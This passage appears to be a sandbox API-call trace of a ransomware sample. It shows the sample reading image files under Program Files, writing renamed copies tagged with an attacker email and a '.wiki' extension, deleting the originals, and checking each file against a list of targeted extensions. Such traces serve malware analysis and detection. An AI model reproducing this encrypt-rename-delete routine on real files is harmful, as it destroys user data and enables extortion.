1 [0051.887] SetEndOfFile (hFile=0x1dc) returned 1 [0051.888] CloseHandle (hObject=0x1dc) returned 1 [0051.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.888] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0051.889] lstrlenW (lpString=".doc") returned 4 [0051.889] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.889] lstrlenW (lpString=".docx") returned 5 [0051.889] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.889] lstrlenW (lpString=".pdf") returned 4 [0051.889] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.889] lstrlenW (lpString=".xls") returned 4 [0051.889] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.889] lstrlenW (lpString=".xlsx") returned 5 [0051.889] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.889] lstrlenW (lpString=".ppt") returned 4 [0051.889] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0051.889] lstrlenW (lpString=".zip") returned 4 [0051.889] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.889] lstrlenW (lpString=".rar") returned 4 [0051.889] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.889] lstrlenW (lpString=".bz2") returned 4 [0051.889] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.889] lstrlenW (lpString=".7z") returned 3 [0051.889] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0051.889] lstrlenW (lpString=".dbf") returned 4 [0051.889] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0051.889] lstrlenW (lpString=".1cd") returned 4 [0051.889] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0051.889] lstrlenW (lpString=".jpg") returned 4 [0051.889] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0051.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0051.889] lstrlenW (lpString=".doc") returned 4 [0051.890] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.890] lstrlenW (lpString=".docx") returned 5 [0051.890] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.890] lstrlenW (lpString=".pdf") returned 4 [0051.890] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.890] lstrlenW (lpString=".xls") returned 4 [0051.890] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.890] lstrlenW (lpString=".xlsx") returned 5 [0051.890] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.890] lstrlenW (lpString=".ppt") returned 4 [0051.890] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0051.890] lstrlenW (lpString=".zip") returned 4 [0051.890] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.890] lstrlenW (lpString=".rar") returned 4 [0051.890] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.890] lstrlenW (lpString=".bz2") returned 4 [0051.890] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.890] lstrlenW (lpString=".7z") returned 3 [0051.890] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0051.890] lstrlenW (lpString=".dbf") returned 4 [0051.890] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0051.890] lstrlenW (lpString=".1cd") returned 4 [0051.890] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0051.890] lstrlenW (lpString=".jpg") returned 4 [0051.890] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.890] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0051.890] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0051.891] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1363) returned 1 [0051.891] CloseHandle (hObject=0x1dc) returned 1 [0051.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0051.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0051.891] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.891] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.893] GetLastError () returned 0x0 [0051.893] ReadFile (in: hFile=0x1dc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x553, lpOverlapped=0x0) returned 1 [0051.895] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x560, lpOverlapped=0x0) returned 1 [0051.896] ReadFile (in: hFile=0x1dc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.896] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.896] SetEndOfFile (hFile=0x1f0) returned 1 [0051.896] CloseHandle (hObject=0x1f0) returned 1 [0051.897] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.897] SetEndOfFile (hFile=0x1dc) returned 1 [0051.897] CloseHandle (hObject=0x1dc) returned 1 [0051.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.898] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0051.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0051.898] lstrlenW (lpString=".doc") returned 4 [0051.898] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.898] lstrlenW (lpString=".docx") returned 5 [0051.898] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.898] lstrlenW (lpString=".pdf") returned 4 [0051.898] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString=".xls") returned 4 [0051.898] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString=".xlsx") returned 5 [0051.898] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.898] lstrlenW (lpString=".ppt") returned 4 [0051.898] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0051.898] lstrlenW (lpString=".zip") returned 4 [0051.898] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString=".rar") returned 4 [0051.898] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.898] lstrlenW (lpString=".bz2") returned 4 [0051.898] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.898] lstrlenW (lpString=".7z") returned 3 [0051.898] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0051.898] lstrlenW (lpString=".dbf") returned 4 [0051.898] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0051.898] lstrlenW (lpString=".1cd") returned 4 [0051.898] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0051.899] lstrlenW (lpString=".jpg") returned 4 [0051.899] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0051.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0051.899] lstrlenW (lpString=".doc") returned 4 [0051.899] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.899] lstrlenW (lpString=".docx") returned 5 [0051.899] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.899] lstrlenW (lpString=".pdf") returned 4 [0051.899] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.899] lstrlenW (lpString=".xls") returned 4 [0051.899] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.899] lstrlenW (lpString=".xlsx") returned 5 [0051.899] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.899] lstrlenW (lpString=".ppt") returned 4 [0051.899] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0051.899] lstrlenW (lpString=".zip") returned 4 [0051.899] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.899] lstrlenW (lpString=".rar") returned 4 [0051.899] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.899] lstrlenW (lpString=".bz2") returned 4 [0051.899] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.899] lstrlenW (lpString=".7z") returned 3 [0051.899] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0051.899] lstrlenW (lpString=".dbf") returned 4 [0051.899] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0051.899] lstrlenW (lpString=".1cd") returned 4 [0051.899] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0051.899] lstrlenW (lpString=".jpg") returned 4 [0051.899] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.900] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0051.900] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0051.900] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=20371) returned 1 [0051.900] CloseHandle (hObject=0x1dc) returned 1 [0051.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0051.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0051.900] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.900] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.901] GetLastError () returned 0x0 [0051.901] ReadFile (in: hFile=0x1dc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x4f93, lpOverlapped=0x0) returned 1 [0051.903] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0051.904] ReadFile (in: hFile=0x1dc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.904] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.904] SetEndOfFile (hFile=0x1f0) returned 1 [0051.904] CloseHandle (hObject=0x1f0) returned 1 [0051.905] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.905] SetEndOfFile (hFile=0x1dc) returned 1 [0051.906] CloseHandle (hObject=0x1dc) returned 1 [0051.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.906] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0051.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0051.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0051.906] lstrlenW (lpString=".doc") returned 4 [0051.906] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.907] lstrlenW (lpString=".docx") returned 5 [0051.907] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.907] lstrlenW (lpString=".pdf") returned 4 [0051.907] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.907] lstrlenW (lpString=".xls") returned 4 [0051.907] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.907] lstrlenW (lpString=".xlsx") returned 5 [0051.907] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.907] lstrlenW (lpString=".ppt") returned 4 [0051.907] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0051.907] lstrlenW (lpString=".zip") returned 4 [0051.907] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.907] lstrlenW (lpString=".rar") returned 4 [0051.907] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.907] lstrlenW (lpString=".bz2") returned 4 [0051.907] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.907] lstrlenW (lpString=".7z") returned 3 [0051.907] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0051.907] lstrlenW (lpString=".dbf") returned 4 [0051.907] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0051.907] lstrlenW (lpString=".1cd") returned 4 [0051.907] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0051.907] lstrlenW (lpString=".jpg") returned 4 [0051.907] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0051.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0051.908] lstrlenW (lpString=".doc") returned 4 [0051.908] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.908] lstrlenW (lpString=".docx") returned 5 [0051.908] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.908] lstrlenW (lpString=".pdf") returned 4 [0051.908] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.908] lstrlenW (lpString=".xls") returned 4 [0051.908] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.908] lstrlenW (lpString=".xlsx") returned 5 [0051.908] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.908] lstrlenW (lpString=".ppt") returned 4 [0051.908] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0051.908] lstrlenW (lpString=".zip") returned 4 [0051.908] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.908] lstrlenW (lpString=".rar") returned 4 [0051.908] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.908] lstrlenW (lpString=".bz2") returned 4 [0051.908] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.908] lstrlenW (lpString=".7z") returned 3 [0051.908] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0051.908] lstrlenW (lpString=".dbf") returned 4 [0051.908] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0051.908] lstrlenW (lpString=".1cd") returned 4 [0051.908] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0051.909] lstrlenW (lpString=".jpg") returned 4 [0051.909] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.910] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0051.910] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0051.911] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1293) returned 1 [0051.911] CloseHandle (hObject=0x1dc) returned 1 [0051.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0051.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0051.911] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.911] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.913] GetLastError () returned 0x0 [0051.913] ReadFile (in: hFile=0x1dc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x50d, lpOverlapped=0x0) returned 1 [0051.914] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x510, lpOverlapped=0x0) returned 1 [0051.915] ReadFile (in: hFile=0x1dc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.915] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.915] 